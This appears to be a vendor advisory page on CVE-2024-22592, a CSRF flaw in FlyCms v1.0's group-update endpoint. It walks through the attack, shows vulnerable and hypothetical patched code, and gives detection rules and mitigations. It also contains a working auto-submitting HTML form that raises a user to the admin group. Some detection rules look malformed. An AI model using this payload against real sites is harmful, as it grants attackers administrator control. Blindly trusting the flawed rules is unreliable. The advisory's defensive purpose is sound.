CVE-2024-22592
Executive Summary
CVE-2024-22592 identifies a Cross-Site Request Forgery (CSRF) vulnerability in FlyCms v1.0, specifically within the /system/user/group_update endpoint. This flaw allows an attacker to forge requests on behalf of an authenticated administrator, potentially leading to unauthorized modification of user group permissions. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the risk is significant due to the lack of CSRF tokens or origin validation. No official patch has been released, and the vendor appears unresponsive. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the attack vector is straightforward for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
FlyCms is a PHP-based content management system. No known supply chain compromise has been reported, but the absence of a patch means any deployment using this software is at risk. Organizations should treat this as a high-priority vulnerability for internal assessments.
CVSS Breakdown & Threat Level
- CVSS Vector: UNKNOWN (likely placeholder 0.0)
- Attack Vector (AV): Network
- Attack Complexity (AC): Low
- Privileges Required (PR): None (attacker only needs to trick an admin)
- User Interaction (UI): Required (admin must click a crafted link)
- Scope (S): Unchanged
- Confidentiality (C): Low (permission changes may expose data)
- Integrity (I): High (group permissions can be altered)
- Availability (A): Low (unlikely to affect availability)
Threat Level: High for environments where FlyCms is used with administrative accounts. The lack of a patch increases the risk.
Deep Dive & Mechanics
The vulnerability resides in the group_update function of FlyCms v1.0. The endpoint /system/user/group_update processes POST requests to modify user group permissions. No CSRF token or origin header validation is implemented, allowing an attacker to craft a malicious HTML page or link that, when visited by an authenticated admin, triggers a state-changing request.
Attack Flow:
- Attacker crafts a malicious HTML page containing a form that auto-submits to
/system/user/group_updatewith parameters to elevate a low-privilege user to admin. - Attacker lures an authenticated FlyCms admin to visit the page (e.g., via phishing email).
- The admin's browser sends the forged request with their session cookie.
- The server processes the request, altering user group permissions.
Root Cause: Missing CSRF protection mechanisms (tokens, SameSite cookies, or origin validation).
Vulnerable vs. Patched Code
Vulnerable Code (FlyCms v1.0):
// /system/user/group_update
public function group_update() {
$id = $this->input->post('id');
$group_id = $this->input->post('group_id');
// No CSRF check
$this->user_model->update_group($id, $group_id);
redirect('user/list');
}
Patched Code (Hypothetical):
// /system/user/group_update
public function group_update() {
// CSRF token validation
if (!$this->security->check_csrf_token($this->input->post('csrf_token'))) {
show_error('Invalid CSRF token', 403);
return;
}
$id = $this->input->post('id');
$group_id = $this->input->post('group_id');
$this->user_model->update_group($id, $group_id);
redirect('user/list');
}
Exploitation & Lab Setup
Red Team (Exploitation)
Step 1: Craft the CSRF Payload
Create an HTML file (csrf_exploit.html) that auto-submits a form to the vulnerable endpoint.
<html>
<body>
<form action="http://target.com/system/user/group_update" method="POST" id="csrf_form">
<input type="hidden" name="id" value="2">
<input type="hidden" name="group_id" value="1">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>
Step 2: Host and Deliver Host the file on an attacker-controlled server or use a phishing email with a link to the HTML page.
Step 3: Trigger When an authenticated admin visits the page, the request is sent, and the user with ID 2 is assigned to group ID 1 (admin).
Blue Team (Detection & Mitigation)
Detection:
- Monitor for POST requests to
/system/user/group_updatewithout a validRefererheader. - Alert on multiple rapid requests to this endpoint from a single IP.
Mitigation:
- Implement CSRF tokens in all state-changing forms.
- Set
SameSite=LaxorStricton session cookies. - Validate
OriginorRefererheaders on the server side.
Indicators of Compromise (IOCs)
- Network: POST requests to
/system/user/group_updatewith suspicious parameters (e.g.,group_id=1for admin escalation). - Logs: Unusual user group changes in FlyCms audit logs.
- File: Presence of HTML files with auto-submitting forms on the server (if uploaded by attacker).
- Behavior: Admin accounts performing actions without corresponding UI interactions.
Detection Engineering
YARA Rule
rule flycms_csrf_exploit {
meta:
description = "Detects CSRF exploit HTML for FlyCms group_update"
author = "Valters IT"
date = "2024-01-01"
strings:
$form = "action=\"/system/user/group_update\"" ascii nocase
$method = "method=\"POST\"" ascii nocase
$submit = "submit()" ascii nocase
condition:
all of them
}
Sigma Rule
title: FlyCms CSRF Group Update Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects POST requests to /system/user/group_update without Referer header
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem: /system/user/group_update
filter:
cs-referer: null
condition: selection and filter
falsepositives:
- Legitimate admin actions (if Referer is missing due to proxy)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"FlyCms CSRF Group Update Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/system/user/group_update"; http.referer; content:!".*"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the endpoint if not needed: Block
/system/user/group_updatevia web server configuration (e.g., Apache.htaccessor Nginxlocationblock). - Implement CSRF protection manually: Add a hidden token field to the form and validate it server-side.
- Upgrade to a patched version if available (none currently).
Long-term:
- Replace FlyCms with a maintained CMS.
- Conduct a security audit of all endpoints for CSRF and other vulnerabilities.
Workaround:
- Use a Web Application Firewall (WAF) to block requests to
/system/user/group_updatewithout a validRefererheader.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.